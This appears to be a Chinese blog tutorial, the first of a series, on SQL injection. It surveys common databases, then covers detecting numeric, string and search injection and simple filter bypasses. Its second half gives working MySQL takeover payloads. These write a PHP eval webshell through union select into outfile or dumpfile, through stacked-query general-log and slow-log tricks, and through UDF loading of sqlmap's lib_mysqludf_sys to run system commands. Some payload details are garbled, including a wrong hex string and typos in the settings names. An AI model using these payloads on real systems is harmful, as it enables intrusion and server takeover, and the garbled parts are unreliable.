天天看点

SQL database安全审计技巧点滴(一)

作者:区块软件开发

基础

什么是Sql注入漏洞

SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

Sql注入漏洞的危害

  • 猜解后台数据库,这是利用最多的方式,盗取网站的敏感信息。
  • 绕过认证,列如绕过验证登录网站后台。
  • 注入可以借助数据库的存储过程进行提权等操作

各种数据库

关系型数据库

Mysql

首当其冲我们接触最多的就是Mysql数据库了,不管是打CTF过程中还是实战过程中

它是以“客户/服务器”模式实现的,是一个多用户、多线程的小型数据库服务器。而且MySQL是开源数据的,任何人都可以获得该数据库的源代码并修正MySQL的缺陷。MySQL具有跨平台的特性,它不仅可以在Windows平台上使用,还可以在UNIX、Linux和MacOS等平台上使用。相对其他数据库而言,MySQL的使用更加方便、快捷,而且MySQL是免费的,运营成本低

SqlServer

SQLServer是由微软公司开发的一种关系型据库管理系统,它已广泛用于电子商务、银行、保险、电力等行业。SQLServer提供了对XML和Internet标准的支持,具有强大的、灵活的、基于Web的应用程序管理功能。而且界面友好、易于操作,深受广大用户的喜爱

Oracle

Oracle数据库管理系统是由甲骨文(Oracle)公司开发的,在数据库领域一直处于领先地位。目前,Oracle数据库覆盖了大、中、小型计算机等几十种计算机型,成为世界上使用最广泛的关系型数据管理系统(由二维表及其之间的关系组成的一个数据库)之一

DB2

DB2是IBM一种分布式数据库解决方案。说简单点:DB2就是IBM开发的一种大型关系型数据库平台。它支持多用户或应用程序在同一条SQL 语句中查询不同database甚至不同DBMS中的数据。DB2数据库有如下一些版本:(比如DB2 for Unix,DB2 for Windows,DB2 for AS/400,DB2 for OS/390等

PostgreSQL

PostgreSQL 是一款富有特色的自由数据库管理系统,甚至可以说是最强大的自由软件数据库管理系统。该数据库管理系统支持了目前世界上最丰富的数据类型。是自由软件数据库管理系统中唯一支持事务、子查询、多版本并行控制系统、数据完整性检查等特性的自由软件

Access

Microsoft Access是Microsoft的数据库管理系统 (DBMS),它将关系型Microsoft Jet数据库引擎与图形用户界面和软件开发工具结合在一起

Sqlite

SQLite,是一款轻型的数据库,是遵守ACID的关系型数据库管理系统

非关系型数据库

MongoDB

MongoDB是一个介于关系数据库和非关系数据库之间的产品,是非关系数据库当中功能最丰富,最像关系数据库的。它支持的数据结构非常松散,是类似json的bson格式,因此可以存储比较复杂的数据类型。Mongo最大的特点是它支持的查询语言非常强大,其语法有点类似于面向对象的查询语言,几乎可以实现类似关系数据库单表查询的绝大部分功能,而且还支持对数据建立索引

Redis

redis是一个key-value存储系统。和Memcached类似,它支持存储的value类型相对更多,包括string(字符串)、list(链表)、set(集合)

未完...

正式注入姿势

既然不同的数据库有着不同的语法,那我们就分开认识不同数据的注入方式,进行针对性的总结

共性

注入位置的判断

通常可能存在的位置在于

  1. GET传参
  2. POST传参
  3. HTTP头(Cookie, XFF, Host等等)

判断是否存在注入漏洞的常用手段都是通过添加' 或者"对服务器的回显进行判断

数字型注入

这里可以进行浮点数绕过(如果有限制)

类似于存在sql语句为

select * from user where id = $_GET['id'];
           

判断方式

  1. 首先在GET传参中id传入1', sql语句就成了
  2. select * from user where id = 1';
  3. 语句错误,将会报错
  4. 之后传入1 and 1 = 1, sql语句成了
  5. select * from user where id = 1 and 1 = 1;
  6. 两边都是正确的,将会返回正确的页面
  7. 之后我们再次传入1 and 1 = 2, sql语句成了
  8. select * from user where id = 1 and 1 = 2;
  9. 因为后面是错误的加上使用了and逻辑词,将会报错

如何满足以上的方式就可以判断是存在数字型注入的

字符型注入

类似于后端sql语句为(当然同样可以使用双引号包裹传入的值,那么后面就需要使用双引号处理)

select * from user where username = '$_GET['username']';
           

判断方式

  1. 首先在GET传参中username传入admin', sql语句就成了
  2. select * from user where username = 'admin'';
  3. 存在了三个单引号,数据库不能处理,将会报错
  4. 之后传入admin' and 1 = 1, sql语句成了
  5. select * from user where username = 'admin' and 1 = 1'
  6. 同样不能识别,我们需要使用注释符使得后面的单引号失效
  7. select * from user where username = 'admin' and 1 = 1#';
  8. 这样前后都正确,将会返回正确的页面
  9. 同样我们可以传入admin' and '1' = '1, sql语句成了
  10. select * from user where username = 'admin' and '1' = '1';
  11. 同样可以返回正确的页面,这里主要是使用的单引号进行处理
  12. 如果传入admin' and 1 = 2#

    因为后面错误将会报错

满足以上方式我们就可以确定是单引号闭合的字符型注入

搜索型注入

  1. **搜索 **',如果出错,大概率具有,之后再搜索%,正确,更大概率具有
  2. 其余特殊字符& [ ] % @ \$
  3. 首先使用222%'and 1=1 and '%'=', 之后搜索 222%' and 1=2 and '%'=', 比较差异

Bypass

如果存在防注入手法怎么办,我们同样可以采用其他方式判断

  1. 使用or逻辑判断

    在后面添加or 2>1``or 2\<1 会发现显示的页面不一样,就存在注入**

    当or后面为true时,返回后面的结果,如果or后面的值为false时,返回前面的结果

    **

  2. 使用xor逻辑判断

    和or使用差不多

  3. 使用url编码绕过

    and 1=1 => %41%4E%44%20%%31%3D%31

  4. 使用-0 -1进行对比观察

Mysql

基础

show databases; //显示数据库
use dbname; //使用dbname数据库
show tables; //显示表名
select * from table_name; //查询数据
version() //数据库版本
database() //数据库名
user() //数据库用户
@@version_compile_os //操作系统
@@datadir //数据库路径
group_concat() concat_ws()
ascii() length() substr() substring()

           
  1. 在Mysql 5.0以上版本中,存在一个自带数据库名为information_schema它是一个存储记录有所有数据库名、表名、列名的数据库,也相当于可以通过查询它来获取指定数据库下面的表名或列名信息information_schema:MySQL默认表,记录所有信息,包括库、表、列 information_schema.tables:记录所有表名信息的表 information_schema.columns:记录所有列名信息的表 information_schema.schemata:记录所有数据库名信息的表 table_name:表名 column_name:列名 table_schema:数据库名

getshell

use into outfile or dumpfile

区别

outfile后面不能接0x开头或者char转换以后的路径,只能是单引号路径,但是值的部分可以时16进制

*在使用outfile时,文件中一行的末尾会自动换行,且可以导出全部数据,同时如果文本中存在\n等字符,会自动转义成\n,也就是会多加一个*

outfile函数可以导出多行,而dumpfile只能导出一行数据;outfile函数在将数据写到文件里时有特殊的格式转换,而dumpfile则保持原数据格式

而使用dumpfile时,一行的末尾不会换行且只能导出部分数据(这里比较数据比较少,没有体现出来);但dumpfile不会自动对文件内容进行转义,而是原意写入(这就是为什么我们平时UDF提权时使用dumpfile来写入的原因)

联合查询写shell

这里使用sql-labs-Less-7为例子

按照流程走着,输入单引号,报错,存在注入点

寻找闭合语句,尝试到?id=1'))--+返回正确页面

猜测后端的查询sql语句为

select * from user where id = (('$_GET['id']'));
           

之后通过order by语句得到字段数为 3

因为只有正确和错误两个页面,我们尝试使用into outfile写入webshell

假设我们知道了web站点的web服务绝对路径为/var/www/html/,直接在其下写入shell

一句话木马:\<?php @eval(\$_POST['cmd']) ?>, 将其进行十六进制转码

php -r "echo bin2hex("<?php @eval($_POST['cmd']) ?>");"
//0x3c3f70687020406576616c285b27636d64275d29203f3e
           

使用union select写入shell

-1')) union select 1,2,0x3c3f70687020406576616c285b27636d64275d29203f3e into outfile '/var/www/html/outfile.php'--+
-1')) union select 1,2,'<?php @eval($_POST[1])?>' into dumpfile '/var/www/html/outfile.php'--+
           

条件

当然不是想写就写的啦,还是需要条件的

  1. secure_file_priv的值没有具体值,或者是我们希望写的目录,如果是NULL就不行
  2. 当然需要具有写的权限啊
  3. 知道对方网站绝对路径

堆叠注入写shell

**直接通过堆叠注入设置日志的存放位置,之后将会在日志文件中出现恶意payload, **

  1. set global general_log = "ON";
  2. set global general_log_file='/var/www/html/log.php';
  3. select '\<?php eval(\$_POST[cmd]);?>';
  4. getshell

在总结getshell方式的时候,突然发现了还有慢日志getshell的方式,记录一下

一般都是通过long_query_time选项来设置这个时间值,时间以秒为单位,可以精确到微秒。如果查询时间超过了这个时间值(默认为10秒),这个查询语句将被记录到慢查询日志中
  1. **查看服务器默认时间值 **show global variables like '%long_query_time%'
  2. **打开慢日志服务 **set global slow_query_log=on
  3. **设置慢日志路径 **set golbal show_query_log_file='/var/www/html/shell.php'
  4. select '\<?php @eval(\$_POST[1]);?>' or sleep(20)

sqlmap's os-shell

原理解释

大概贴一下

1、连接Mysql数据库并且获取数据库版本。

2、检测是否为数据库dba。

3、检测sys_exec和sys_eval2个函数是否已经被创建了。**

4、上传dll文件到对应目录。

**5、用户退出时默认删除创建的sys_exec和sys_eval2个函数

UDF getshell

自定义函数,是数据库功能的一种扩展。用户通过自定义函数可以实现在 MySQL 中无法方便实现的功能,其添加的新函数都可以在SQL语句中调用

条件

  1. secure_file_priv为空或者在plugin目录上
  2. 具有对应得文件操作权限

利用

  • 获取exp.so文件

使用sqlmap内置的文件/data/udf/mysql/文件夹下

sqlmap中的udf文件为防止误杀默认是经过异或编码的,需先使用sqlmap自带的脚本解码

python extra/cloak/cloak.py -d -i data/udf/mysql/linux/64/lib_mysqludf_sys.so_
           

之后得到了对应的so文件

  • 获取对应的hex值php -r "$data=file_get_contents('lib_mysqludf_sys.so');echo bin2hex($data);"
  • dumpfile写入.so文件select 0x7F.. into dumpfile '/usr/lib64/mysql/plugn/exp.so';
  • 创建自定义函数create function sys_eval returns string soname 'exp.so';
  • 执行命令sys_eval('id');

总结

这里为这个系列总结开了一个小头,并总结了一下有关于Mysql getshell一些常见的方法,后文将会接着这个思路扩展到各个数据库的利用

refer https://www.sec-in.com/article/1941

继续阅读